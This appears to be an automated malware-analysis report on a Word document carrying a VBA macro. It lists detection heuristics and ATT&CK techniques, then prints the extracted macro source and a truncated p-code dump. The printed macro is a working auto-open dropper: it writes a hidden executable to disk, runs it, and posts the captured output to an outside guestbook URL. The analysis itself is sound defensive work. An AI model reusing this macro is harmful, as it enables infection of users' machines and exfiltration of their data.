MALICIOUS
222
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample contains a VBA macro with an autoopen function that is triggered upon opening the document. This macro decodes and writes a second-stage executable to 'c:\s.exe', creates a batch file to execute it, and then attempts to exfiltrate data from the execution output to 'http://www.gb.ru/cgi-bin/guestbook/gb.cgi'. The use of Shell() and CreateObject() calls within the VBA code indicates a high likelihood of malicious intent.
Heuristics 7
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.gb.ru/cgi-bin/guestbook/gb.cgi In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4921 bytes |
SHA-256: ff0c20073bbc8805905b473c50ec2d912ee36a4159987ad39f5b88bdcb919268 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Function decoding(sym As String) As Byte
decoding = (Asc(Mid$(sym, 1, 1)) - 65) * 16 + (Asc(Mid$(sym, 2, 1)) - 65)
End Function
Public Sub autoopen()
Dim bt As Byte, i As Long, str As String, strt As Single
Dim PostData() As Byte, fn As Integer, ie As Object
On Error Resume Next
str = ActiveDocument.Variables(1)
fn = FreeFile
Open "c:\s.exe" For Binary Access Write As #fn
For i = 1 To 38912 Step 2
bt = decoding(Mid$(str, i, 2))
Put #fn, , bt
Next i
Close #fn
Open "c:\s.bat" For Output As #fn
Print #fn, "c:\s.exe >c:\s.bmp"
Close #fn
Shell "c:\s.bat", vbHide
strt = Timer
Do While Timer < strt + 5
DoEvents
Loop
msg = ""
Open "c:\s.bmp" For Input As #fn
Do
str = Input(1, #fn)
msg = msg & IIf(str = "&" Or str = "=", "#", str)
Loop Until EOF(fn)
Close #fn
Kill "c:\s.*"
PostData = "master=99sau&job=add&username=goga&comments=" & msg
PostData = StrConv(PostData, vbFromUnicode)
Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "http://www.gb.ru/cgi-bin/guestbook/gb.cgi", 0, "", _
PostData, "Content-Type: application/x-www-form-urlencoded" & vbCrLf
Do
DoEvents
Loop While True
End Sub
' Processing file: /opt/analyzer/scan_staging/106bdf3c22d242338f0c08e6ef179ba6.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3664 bytes
' Line #0:
' FuncDefn (Public Function decoding(sym As String, id_FFFE As Byte) As Byte)
' Line #1:
' Ld sym
' LitDI2 0x0001
' LitDI2 0x0001
' ArgsLd Mid$$ 0x0003
' ArgsLd Asc 0x0001
' LitDI2 0x0041
' Sub
' Paren
' LitDI2 0x0010
' Mul
' Ld sym
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$$ 0x0003
' ArgsLd Asc 0x0001
' LitDI2 0x0041
' Sub
' Paren
' Add
' St decoding
' Line #2:
' EndFunc
' Line #3:
' FuncDefn (Public Sub autoopen())
' Line #4:
' Dim
' VarDefn bt (As Byte)
' VarDefn i (As Long)
' VarDefn str (As String)
' VarDefn strt (As Single)
' Line #5:
' Dim
' VarDefn PostData (As Byte)
' VarDefn fn (As Integer)
' VarDefn ie (As Object)
' Line #6:
' OnError (Resume Next)
' Line #7:
' LitDI2 0x0001
' Ld ActiveDocument
' ArgsMemLd Variables 0x0001
' St str
' Line #8:
' Ld Friend
' St fn
' Line #9:
' LitStr 0x0008 "c:\s.exe"
' Ld fn
' Sharp
' LitDefault
' Open (For Binary Access Write)
' Line #10:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI4 0x9800 0x0000
' LitDI2 0x0002
' ForStep
' Line #11:
' Ld str
' Ld i
' LitDI2 0x0002
' ArgsLd Mid$$ 0x0003
' ArgsLd decoding 0x0001
' St bt
' Line #12:
' Ld fn
' Sharp
' LitDefault
' Ld bt
' PutRec
' Line #13:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #14:
' Ld fn
' Sharp
' Close 0x0001
' Line #15:
' LitStr 0x0008 "c:\s.bat"
' Ld fn
' Sharp
' LitDefault
' Open (For Output)
' Line #16:
' Ld fn
' Sharp
' PrintChan
' LitStr 0x0012 "c:\s.exe >c:\s.bmp"
' PrintItemNL
' Line #17:
' Ld fn
' Sharp
' Close 0x0001
' Line #18:
' LitStr 0x0008 "c:\s.bat"
' Ld vbHide
' ArgsCall Shell 0x0002
' Line #19:
' Ld Timer
' St strt
' Line #20:
' Ld Timer
' Ld strt
' LitDI2 0x0005
' Add
' Lt
' DoWhile
' Line #21:
' ArgsCall DoEvents 0x0000
' Line #22:
' Loop
' Line #23:
' LitStr 0x0000 ""
' St msg
' Line #24:
' LitStr 0x0008 "c:\s.bmp"
' Ld fn
' Sharp
' LitDefault
' Open (For Input)
' Line #25:
' Do
' Line #26:
' LitDI2 0x0001
' Ld fn
' Sharp
' ArgsLd Input$ 0x0002
' St str
' Line #27:
' Ld msg
' Ld str
' LitStr 0x0001 "&"
' Eq
' Ld str
' LitStr 0x0001 "="
' Eq
' Or
' LitStr 0x0001 "#"
' Ld str
' ArgsLd IIf 0x0003
' Concat
' St msg
' Line #28:
' Ld fn
' ArgsLd EOF 0x0001
' LoopUntil
' Line #29:
' Ld fn
' Sharp
' Close 0x0
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.